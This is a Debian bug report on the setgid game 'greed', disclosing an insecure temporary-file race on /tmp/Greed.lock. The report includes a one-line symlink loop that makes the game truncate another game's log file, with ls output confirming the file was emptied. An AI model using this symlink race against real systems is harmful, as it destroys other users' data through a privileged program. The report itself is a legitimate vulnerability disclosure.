Package: greed Version: 3.4-2 Severity: normal Usertags: security *** Please type your report below this line ***
The setgid(games) binary greed makes insecure use of the file /tmp/Greed.lock - allow arbitrary files that are writeable to the games user. By itself this is not a grave concern, but it might be leveraged if another game cannot handle an empty data/save/misc file. Example of reproducing: skx@precious:~$ while true; do ln -sf /var/games/omega-rpg/omega.log /tmp/Greed.lock; done In another window launch greed. Then: skx@precious:~$ ls /var/games/omega-rpg/ -l total 4 -rw-rw-r-- 1 root games 301 Jun 1 2008 omega.hi -rw-rw-r-- 1 root games 0 Nov 6 18:34 omega.log The file "omega.log" was truncated. -- System Information: Debian Release: 6.0.6 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 2.6.32-5-amd64 (SMP w/2 CPU cores) Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages greed depends on: ii libc6 2.11.3-4 Embedded GNU C Library: Shared lib ii libncurses5 5.7+20100313-5 shared libraries for terminal hand greed recommends no packages. greed suggests no packages. -- no debconf information -- To UNSUBSCRIBE, email to [email protected] with a subject of "unsubscribe".
